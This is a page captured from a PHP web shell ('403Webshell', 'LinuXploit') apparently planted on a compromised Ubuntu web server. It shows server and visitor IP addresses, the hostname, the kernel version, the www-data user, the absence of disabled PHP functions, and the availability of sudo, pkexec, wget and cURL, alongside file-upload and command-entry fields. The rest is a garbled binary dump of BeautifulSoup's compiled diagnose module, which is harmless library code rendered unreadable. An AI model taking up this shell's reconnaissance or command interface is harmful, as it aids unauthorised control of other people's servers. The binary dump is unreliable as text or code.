403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/bs4/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/bs4/__pycache__/diagnose.cpython-310.pyc
o

��7aK�@sdZdZddlZddlmZddlmZddlZddlmZm	Z	ddl
mZddlZddl
Z
ddlZddlZddlZddlZddlZddlZdd	�Zd#dd�ZGd
d�de�Zdd�ZdZdZd$dd�Zd%dd�Zd&dd�Zd'dd�Zd(d d!�Zed"kr�eej� ��dSdS))z=Diagnostic functions, mainly for use when doing tech support.�MIT�N)�StringIO)�
HTMLParser)�
BeautifulSoup�__version__)�builder_registrycCsRtdt�tdtj�gd�}|D]}tjD]	}||jvr!nq|�|�td|�qd|vrc|�d�zddl	m
}td	d
�tt
|j���Wntyb}z
td�WYd}~nd}~wwd
|vr�z
ddl}td|j�Wnty�}z
td�WYd}~nd}~wwt|d�r�|��}nJ|�d�s�|�d�r�td|�td�dSz&tj�|�r�td|�t|��}|��}Wd�n1s�wYWn	ty�Ynwtd�|D]E}td|�d}	z
t||d�}
d}	Wnt�y}ztd|�t��WYd}~nd}~ww|	�r"td|�t|
���td�q�dS)z�Diagnostic suite for isolating common problems.

    :param data: A string containing markup that needs to be explained.
    :return: None; diagnostics are printed to standard output.
    z'Diagnostic running on Beautiful Soup %szPython version %s)�html.parser�html5lib�lxmlz;I noticed that %s is not installed. Installing it may help.r
zlxml-xmlr��etreezFound lxml version %s�.z.lxml is not installed or couldn't be imported.Nr	zFound html5lib version %sz2html5lib is not installed or couldn't be imported.�readzhttp:zhttps:z<"%s" looks like a URL. Beautiful Soup is not an HTTP client.zpYou need to use some other library to get the document behind the URL, and feed that document to Beautiful Soup.z7"%s" looks like a filename. Reading data from the file.�z#Trying to parse your markup with %sF)�featuresT�%s could not parse the markup.z#Here's what %s did with the markup:zP--------------------------------------------------------------------------------)�printr�sys�versionr�buildersr�remove�appendr
r�join�map�str�LXML_VERSION�ImportErrorr	�hasattrr�
startswith�os�path�exists�open�
ValueErrorr�	Exception�	traceback�	print_exc�prettify)�data�
basic_parsers�name�builderr�er	�fp�parser�success�soup�r1�./usr/lib/python3/dist-packages/bs4/diagnose.py�diagnoses�

�
���
������



�����
�r3TcKsJddlm}|jt|�fd|i|��D]\}}td||j|jf�qdS)a�Print out the lxml events that occur during parsing.

    This lets you see how lxml parses a document when no Beautiful
    Soup code is running. You can use this to determine whether
    an lxml-specific problem is in Beautiful Soup's lxml tree builders
    or in lxml itself.

    :param data: Some markup.
    :param html: If True, markup will be parsed with lxml's HTML parser.
       if False, lxml's XML parser will be used.
    rr�htmlz%s, %4s, %sN)r
r�	iterparserr�tag�text)r(r4�kwargsr�event�elementr1r1r2�
lxml_trace]s"�r;c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�AnnouncingParserz�Subclass of HTMLParser that announces parse events, without doing
    anything else.

    You can use this to get a picture of how html.parser sees a given
    document. The easiest way to do this is to call `htmlparser_trace`.
    cCst|�dS)N)r)�self�sr1r1r2�_puszAnnouncingParser._pcC�|�d|�dS)Nz%s START�r?)r=r*�attrsr1r1r2�handle_starttagx�z AnnouncingParser.handle_starttagcCr@)Nz%s ENDrA�r=r*r1r1r2�
handle_endtag{rDzAnnouncingParser.handle_endtagcCr@)Nz%s DATArA�r=r(r1r1r2�handle_data~rDzAnnouncingParser.handle_datacCr@)Nz
%s CHARREFrArEr1r1r2�handle_charref�rDzAnnouncingParser.handle_charrefcCr@)Nz%s ENTITYREFrArEr1r1r2�handle_entityref�rDz!AnnouncingParser.handle_entityrefcCr@)Nz
%s COMMENTrArGr1r1r2�handle_comment�rDzAnnouncingParser.handle_commentcCr@)Nz%s DECLrArGr1r1r2�handle_decl�rDzAnnouncingParser.handle_declcCr@)Nz%s UNKNOWN-DECLrArGr1r1r2�unknown_decl�rDzAnnouncingParser.unknown_declcCr@)Nz%s PIrArGr1r1r2�	handle_pi�rDzAnnouncingParser.handle_piN)�__name__�
__module__�__qualname__�__doc__r?rCrFrHrIrJrKrLrMrNr1r1r1r2r<msr<cCst�}|�|�dS)z�Print out the HTMLParser events that occur during parsing.

    This lets you see how HTMLParser parses a document when no
    Beautiful Soup code is running.

    :param data: Some markup.
    N)r<�feed)r(r.r1r1r2�htmlparser_trace�srT�aeiou�bcdfghjklmnpqrstvwxyz�cCs:d}t|�D]}|ddkrt}nt}|t�|�7}q|S)z#Generate a random word-like string.r�r)�range�_consonants�_vowels�random�choice)�lengthr>�i�tr1r1r2�rword�sra�cCsd�dd�t|�D��S)z'Generate a random sentence-like string.� css �|]}tt�dd��VqdS)rb�	N)rar\�randint)�.0r_r1r1r2�	<genexpr>�s�zrsentence.<locals>.<genexpr>)rrY)r^r1r1r2�	rsentence�srh��cCs�gd�}g}t|�D]9}t�dd�}|dkr#t�|�}|�d|�q
|dkr3|�tt�dd���q
|dkrCt�|�}|�d|�q
d	d
�|�dS)z+Randomly generate an invalid HTML document.)�p�div�spanr_�b�script�tabler�z<%s>�rbrXz</%s>z<html>�
z</html>)rYr\rer]rrhr)�num_elements�	tag_names�elementsr_r]�tag_namer1r1r2�rdoc�s

�rw順c
Cs&tdt�t|�}tdt|��dddgddfD]>}d}zt��}t||�}t��}d}WntyK}ztd	|�t��WYd
}~nd
}~ww|rXtd|||f�qdd
l	m
}t��}|�|�t��}td||�dd
l}	|	�
�}t��}|�|�t��}td||�d
S)z.Very basic head-to-head performance benchmark.z1Comparative parser benchmark on Beautiful Soup %sz3Generated a large invalid HTML document (%d bytes).r
r4r	rFTrNz"BS4+%s parsed the markup in %.2fs.rrz$Raw lxml parsed the markup in %.2fs.z(Raw html5lib parsed the markup in %.2fs.)rrrw�len�timerr$r%r&r
r�HTMLr	r�parse)
rsr(r.r/�ar0rmr,rr	r1r1r2�benchmark_parsers�s:
���

r~r
cCsXt��}|j}t|�}tt||d�}t�d|||�t�	|�}|�
d�|�dd�dS)z7Use Python's profiler on a randomly generated document.)�bs4r(r.zbs4.BeautifulSoup(data, parser)�
cumulativez
_html5lib|bs4�2N)�tempfile�NamedTemporaryFiler*rw�dictr�cProfile�runctx�pstats�Stats�
sort_stats�print_stats)rsr.�
filehandle�filenamer(�vars�statsr1r1r2�profile�s

r��__main__)T)rW)rb)ri)rx)rxr
)!rR�__license__r��ior�html.parserrrrr�bs4.builderrrr�r\r�rzr%rr3r;r<rTr[rZrarhrwr~r�rO�stdinrr1r1r1r2�<module>s<
G&




 �

Youez - 2016 - github.com/yon3zu
LinuXploit